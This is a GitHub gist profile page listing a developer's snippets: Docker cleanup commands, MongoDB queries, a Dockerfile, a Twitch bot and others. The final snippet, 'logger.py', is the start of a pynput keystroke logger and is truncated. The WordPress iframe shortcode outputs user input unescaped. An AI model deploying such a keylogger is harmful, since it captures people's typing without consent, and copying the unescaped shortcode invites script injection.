Skip to content

Instantly share code, notes, and snippets.

View bjarneo's full-sized avatar
🏠
Working from home

bjarneo bjarneo

🏠
Working from home
View GitHub Profile
@bjarneo
bjarneo / Snippets
Last active January 8, 2018 09:14
snippets
# Delete all containers
docker rm $(docker ps -a -q)
# Delete all images
docker rmi -f $(docker images -q)
# Delete all
docker rm -v $(docker ps -a -q -f status=exited)
docker rmi -f $(docker images -f "dangling=true" -q)
@bjarneo
bjarneo / iframe.php
Last active June 25, 2016 16:13
iframe shortcode example
// Shortcode usage in the WYSIWYG: [iframe src="https://gist.github.com/bjarneo/65115610d02ac0dd77597464014bddfb"]
function iframe($atts) {
return sprintf(
'<iframe src="%s" />',
$atts['src']
);
}
add_shortcode('iframe', 'iframe');
module.exports = {
settings: {
runtime: { /* ... */ },
build: { /* ... */ },
},
webpack: (target) => {
const settings = require('roc').getSettings();
console.log(target); // web or node

Keybase proof

I hereby claim:

  • I am bjarneo on github.
  • I am bjarneo (https://keybase.io/bjarneo) on keybase.
  • I have a public key ASCCxN0Me82nYqYxqHgRtZkKdRNYl64Ohp5Xb4b0IFI58Qo

To claim this, I am signing this object:

@bjarneo
bjarneo / config.js
Created March 2, 2018 08:24
client side config
import merge from 'deepmerge';
import delve from 'dlv';
import defaultConfig from './default';
const { REACT_APP_ENV, NODE_ENV } = process.env;
const ENV = REACT_APP_ENV || NODE_ENV;
const config = () => {
try {
@bjarneo
bjarneo / Dockerfile
Last active March 2, 2018 13:51
Dockerfile using CreateReactApp, and nginx for handling requests. Docker image size ~17MB.
# The build stage
FROM node:9.5-alpine as builder
WORKDIR /app
COPY package-lock.json .
COPY package.json .
RUN npm i
@bjarneo
bjarneo / mongodb.js
Last active June 11, 2019 06:44
MongoDB
// find date GTE and LT
db.collection.find({createdAt: { $gte: ISODate("2019-04-10T00:00:00Z"), $lt: ISODate("2019-05-10T00:00:00Z") }}).count()
// find and sorted with limit
db.collection.find().sort({_id: -1}).limit(1).pretty()
// Remove from array
db.studios.find().toArray().map(item => item._id).forEach(id => db.studios.update({_id: id}, { $pull: { modules: { type: "commentsModule" } } }));
// Update one property
@bjarneo
bjarneo / twitchbot.js
Last active December 16, 2019 08:06
Basic twitch chat bot
const tmi = require('tmi.js');
// Define configuration options
const opts = {
identity: {
username: 'your_username',
password: 'oauth:your_secret_password' // get the password from https://twitchapps.com/tmi/
},
channels: ['your_channel_name']
};
<?php
echo file_get_contents('https://oeverli.win');
?>
<style type="text/css">
p {
color: #26b72b;
}
</style>
@bjarneo
bjarneo / logger.py
Last active January 5, 2022 11:55
logger.py
from pynput.keyboard import Listener
def log_keystroke(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":